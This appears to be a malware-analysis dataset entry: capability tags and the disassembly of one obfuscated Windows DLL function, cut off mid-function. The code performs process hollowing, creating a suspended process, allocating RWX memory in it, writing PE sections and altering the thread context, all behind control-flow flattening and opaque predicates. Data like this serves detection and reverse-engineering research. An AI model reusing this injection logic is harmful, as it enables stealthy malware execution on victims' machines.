Function at 0x10002c40
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x10064200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x154], 0xbb5ca3be
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x805fec09
je 0x10004479
jmp 0x10002c7c
mov eax, dword [ebp - 0x158]
sub eax, 0x809e502a
je 0x10004f7d
jmp 0x10002c92
mov eax, dword [ebp - 0x158]
sub eax, 0x85f4beda
je 0x10004178
jmp 0x10002ca8
mov eax, dword [ebp - 0x158]
sub eax, 0x8695bedc
je 0x10005065
jmp 0x10002cbe
mov eax, dword [ebp - 0x158]
sub eax, 0x88c3ed26
je 0x10003e53
jmp 0x10002cd4
mov eax, dword [ebp - 0x158]
sub eax, 0x8b497d4e
je 0x1000537b
jmp 0x10002cea
mov eax, dword [ebp - 0x158]
sub eax, 0x9039214c
je 0x10003805
jmp 0x10002d00
mov eax, dword [ebp - 0x158]
sub eax, 0x928d23b9
je 0x10004ef8
jmp 0x10002d16
mov eax, dword [ebp - 0x158]
sub eax, 0x99a8fdb6
je 0x10004794
jmp 0x10002d2c
mov eax, dword [ebp - 0x158]
sub eax, 0x9d85f4ff
je 0x10003a91
jmp 0x10002d42
mov eax, dword [ebp - 0x158]
sub eax, 0x9f54f240
je 0x10005499
jmp 0x10002d58
mov eax, dword [ebp - 0x158]
sub eax, 0x9fbd6e2a
je 0x10003967
jmp 0x10002d6e
mov eax, dword [ebp - 0x158]
sub eax, 0x9fbeb678
je 0x100048a9
jmp 0x10002d84
mov eax, dword [ebp - 0x158]
sub eax, 0xa2a006db
je 0x100048fa
jmp 0x10002d9a
mov eax, dword [ebp - 0x158]
sub eax, 0xa2ec746d
je 0x10003d43
jmp 0x10002db0
mov eax, dword [ebp - 0x158]
sub eax, 0xa4c90085
je 0x10004ba3
jmp 0x10002dc6
mov eax, dword [ebp - 0x158]
sub eax, 0xa5f7feab
je 0x10004970
jmp 0x10002ddc
mov eax, dword [ebp - 0x158]
sub eax, 0xa627e3a2
je 0x10003885
jmp 0x10002df2
mov eax, dword [ebp - 0x158]
sub eax, 0xa743bac9
je 0x10004f07
jmp 0x10002e08
mov eax, dword [ebp - 0x158]
sub eax, 0xa8b58185
je 0x10004e71
jmp 0x10002e1e
mov eax, dword [ebp - 0x158]
sub eax, 0xad03633a
je 0x10005579
jmp 0x10002e34
mov eax, dword [ebp - 0x158]
sub eax, 0xad71bbe1
je 0x100046b4
jmp 0x10002e4a
mov eax, dword [ebp - 0x158]
sub eax, 0xaf22f18c
je 0x100045ad
jmp 0x10002e60
mov eax, dword [ebp - 0x158]
sub eax, 0xaf73045d
je 0x10004bf2
jmp 0x10002e76
mov eax, dword [ebp - 0x158]
sub eax, 0xb3f83d9e
je 0x100054d2
jmp 0x10002e8c
mov eax, dword [ebp - 0x158]
sub eax, 0xb400d8f7
je 0x100047d2
jmp 0x10002ea2
mov eax, dword [ebp - 0x158]
sub eax, 0xbb44887f
je 0x10005408
jmp 0x10002eb8
mov eax, dword [ebp - 0x158]
sub eax, 0xbb5ca3be
je 0x10003663
jmp 0x10002ece
mov eax, dword [ebp - 0x158]
sub eax, 0xbbbc5293
je 0x10003a76
jmp 0x10002ee4
mov eax, dword [ebp - 0x158]
sub eax, 0xbc6156ae
je 0x10004eb7
jmp 0x10002efa
mov eax, dword [ebp - 0x158]
sub eax, 0xbce30717
je 0x10004120
jmp 0x10002f10
mov eax, dword [ebp - 0x158]
sub eax, 0xbe868f2f
je 0x100055d5
jmp 0x10002f26
mov eax, dword [ebp - 0x158]
sub eax, 0xc46c7435
je 0x10005360
jmp 0x10002f3c
mov eax, dword [ebp - 0x158]
sub eax, 0xc57d8e1f
je 0x10004d23
jmp 0x10002f52
mov eax, dword [ebp - 0x158]
sub eax, 0xc5f38aee
je 0x10004360
jmp 0x10002f68
mov eax, dword [ebp - 0x158]
sub eax, 0xc5f50eb7
je 0x10005014
jmp 0x10002f7e
mov eax, dword [ebp - 0x158]
sub eax, 0xc92c297a
je 0x10004013
jmp 0x10002f94
mov eax, dword [ebp - 0x158]
sub eax, 0xd0ee4cee
je 0x10004754
jmp 0x10002faa
mov eax, dword [ebp - 0x158]
sub eax, 0xd24fe5e9
je 0x10003ada
jmp 0x10002fc0
mov eax, dword [ebp - 0x158]
sub eax, 0xd474e150
je 0x100044ef
jmp 0x10002fd6
mov eax, dword [ebp - 0x158]
sub eax, 0xd4cf41ef
je 0x1000497f
jmp 0x10002fec
mov eax, dword [ebp - 0x158]
sub eax, 0xd738acd5
je 0x1000458c
jmp 0x10003002
mov eax, dword [ebp - 0x158]
sub eax, 0xd9cd1eec
je 0x100054e7
jmp 0x10003018
mov eax, dword [ebp - 0x158]
sub eax, 0xd9d5e026
je 0x10004745
jmp 0x1000302e
mov eax, dword [ebp - 0x158]
sub eax, 0xdb95c128
je 0x10003a67
jmp 0x10003044
mov eax, dword [ebp - 0x158]
sub eax, 0xe3e53afe
je 0x10003f5d
jmp 0x1000305a
mov eax, dword [ebp - 0x158]
sub eax, 0xe4a8b411
je 0x1000414e
jmp 0x10003070
mov eax, dword [ebp - 0x158]
sub eax, 0xe579e282
je 0x10005478
jmp 0x10003086
mov eax, dword [ebp - 0x158]
sub eax, 0xe97eeea9
je 0x1000446a
jmp 0x1000309c
mov eax, dword [ebp - 0x158]
sub eax, 0xeb11d142
je 0x10003ee7
jmp 0x100030b2
mov eax, dword [ebp - 0x158]
sub eax, 0xebddadcf
je 0x10004ffa
jmp 0x100030c8
mov eax, dword [ebp - 0x158]
sub eax, 0xec58221a
je 0x10003a2b
jmp 0x100030de
mov eax, dword [ebp - 0x158]
sub eax, 0xedc8bb23
je 0x10003bd9
jmp 0x100030f4
mov eax, dword [ebp - 0x158]
sub eax, 0xf52ccfaa
je 0x10005457
jmp 0x1000310a
mov eax, dword [ebp - 0x158]
sub eax, 0xf6fdcf9e
je 0x100051aa
jmp 0x10003120
mov eax, dword [ebp - 0x158]
sub eax, 0xf80c0d97
je 0x1000559d
jmp 0x10003136
mov eax, dword [ebp - 0x158]
sub eax, 0xf8672da8
je 0x100047b5
jmp 0x1000314c
mov eax, dword [ebp - 0x158]
sub eax, 0xffae8d81
je 0x10004381
jmp 0x10003162
mov eax, dword [ebp - 0x158]
sub eax, 0x5b6774
je 0x10004022
jmp 0x10003178
mov eax, dword [ebp - 0x158]
sub eax, 0x4a657ff
je 0x10004085
jmp 0x1000318e
mov eax, dword [ebp - 0x158]
sub eax, 0x66c5295
je 0x10003e02
jmp 0x100031a4
mov eax, dword [ebp - 0x158]
sub eax, 0x90e1ef9
je 0x1000499f
jmp 0x100031ba
mov eax, dword [ebp - 0x158]
sub eax, 0xa09aa02
je 0x10005520
jmp 0x100031d0
mov eax, dword [ebp - 0x158]
sub eax, 0x1279274e
je 0x100038f3
jmp 0x100031e6
mov eax, dword [ebp - 0x158]
sub eax, 0x1469feb6
je 0x1000463e
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x154], 0x7f21811f
jmp 0x100055df
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xfc]
sub eax, 0x17e59a51
add eax, ecx
add eax, 0x17e59a51
mov dword [ebp - 0xf4], eax
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
sub edx, 0x1b13301d
sub edx, 1
add edx, 0x1b13301d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x561924d1
mov ecx, 0x3989044a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc46c7435
mov ecx, 0x1279274e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xed], al
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
sub edx, 0xf8c91a39
sub edx, 1
add edx, 0xf8c91a39
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc46c7435
mov ecx, 0x9fbd6e2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov dl, byte [ebp - 0xed]
mov eax, 0x67738ef3
mov ecx, 0x1f081106
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov dl, byte [ebp - 0xe5]
mov eax, 0x180c0e52
mov ecx, 0xbbbc5293
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov dword [ebp - 0x154], 0xbbbc5293
jmp 0x100055df
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x154], 0x9d85f4ff
jmp 0x100055df
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8b497d4e
mov ecx, 0xd24fe5e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov edx, dword [ebp - 0xe4]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xdd], al
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
sub edx, 0xa3d4d6e2
sub edx, 1
add edx, 0xa3d4d6e2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8b497d4e
mov ecx, 0x53dd5522
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x154], 0x52df8071
jmp 0x100055df
mov dl, byte [ebp - 0xd5]
mov eax, 0x59506726
mov ecx, 0x7d9c5ae8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
add edx, 0x24c0f39b
sub edx, 1
sub edx, 0x24c0f39b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7282b2f9
mov ecx, 0x88c3ed26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [ebp - 0x144]
add eax, 0x18
mov dword [ebp - 0xd4], eax
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
sub edx, 0xd6e72458
sub edx, 1
add edx, 0xd6e72458
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7282b2f9
mov ecx, 0x25b79cc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
sub edx, 0xbbbe5e25
sub edx, 1
add edx, 0xbbbe5e25
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbb44887f
mov ecx, 0xe3e53afe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
sub edx, 0x71aebf8a
sub edx, 1
add edx, 0x71aebf8a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbb44887f
mov ecx, 0xc92c297a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov dword [ebp - 0x154], 0x5b6774
jmp 0x100055df
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x138]
mov edx, dword [ebp - 0x134]
mov edx, dword [edx]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x154], 0x4a657ff
jmp 0x100055df
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xd0]
add ecx, eax
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x144]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x144]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x144]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov dword [eax], 0
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0
mov dword [ebp - 0x154], 0xbce30717
jmp 0x100055df
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x144]
mov ax, word [eax + 6]
mov word [ebp - 0xc4], ax
mov dword [ebp - 0x154], 0xe4a8b411
jmp 0x100055df
mov ax, word [ebp - 0xc4]
movzx esi, ax
mov edx, dword [ebp - 0xc8]
mov eax, 0x34df3307
mov ecx, 0x85f4beda
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x138]
mov edx, dword [ebp - 0x12c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x11c]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x134]
mov edx, dword [edx]
mov esi, dword [ebp - 0x12c]
mov esi, dword [esi]
mov edi, dword [ebp - 0x11c]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0x9d65aa17
add edx, esi
sub edx, 0x9d65aa17
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x11c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100028a0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x7ccedd7f
jmp 0x100055df
mov dl, byte [ebp - 0xc1]
mov eax, 0x49814f1f
mov ecx, 0xffae8d81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
add edx, 0xc9f6da65
sub edx, 1
sub edx, 0xc9f6da65
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe579e282
mov ecx, 0x7454afac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov dword [ebp - 0x154], 0x805fec09
jmp 0x100055df
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
sub edx, 0x49bc603
sub edx, 1
add edx, 0x49bc603
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9f54f240
mov ecx, 0xd474e150
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
sub ecx, 0x355f0c3a
add ecx, eax
add ecx, 0x355f0c3a
mov eax, dword [ebp - 0xc0]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xb5], al
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9f54f240
mov ecx, 0xd738acd5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov dl, byte [ebp - 0xb5]
mov eax, 0x49814f1f
mov ecx, 0xaf22f18c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x154], 0x6bf4bd97
jmp 0x100055df
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
sub eax, 0x37b84b40
add eax, 1
add eax, 0x37b84b40
mov dword [ebp - 0xac], eax
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
sub edx, 0x8273142d
sub edx, 1
add edx, 0x8273142d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb3f83d9e
mov ecx, 0xd9d5e026
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov dword [ebp - 0x154], 0xd0ee4cee
jmp 0x100055df
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xbce30717
jmp 0x100055df
mov dl, byte [ebp - 0xa5]
mov eax, 0x5816941c
mov ecx, 0xf8672da8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x154], 0xb400d8f7
jmp 0x100055df
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd9cd1eec
mov ecx, 0x646e843d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
sub edx, 0xd7e8291c
sub edx, 1
add edx, 0xd7e8291c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3663ee7b
mov ecx, 0xa2a006db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
add edx, 0x4b941e58
sub edx, 1
sub edx, 0x4b941e58
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3663ee7b
mov ecx, 0xa5f7feab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov dword [ebp - 0x154], 0xd4cf41ef
jmp 0x100055df
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x154], 0x90e1ef9
jmp 0x100055df
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7819ef5f
mov ecx, 0x660713c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov dword [ebp - 0x154], 0x22938e4e
jmp 0x100055df
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
add edx, 0xe4e8ace4
sub edx, 1
sub edx, 0xe4e8ace4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xad03633a
mov ecx, 0x25423474
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x86], ax
mov dword [ebp - 0x154], 0x2c98e76a
jmp 0x100055df
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
sub ecx, 0xd8622f15
add ecx, eax
add ecx, 0xd8622f15
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x154], 0xbc6156ae
jmp 0x100055df
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x7c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x154], 0x928d23b9
jmp 0x100055df
mov dword [ebp - 0x154], 0xa743bac9
jmp 0x100055df
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
add edx, 0xc6931220
sub edx, 1
sub edx, 0xc6931220
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3eca2ec6
mov ecx, 0x809e502a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3eca2ec6
mov ecx, 0x57ca3a72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
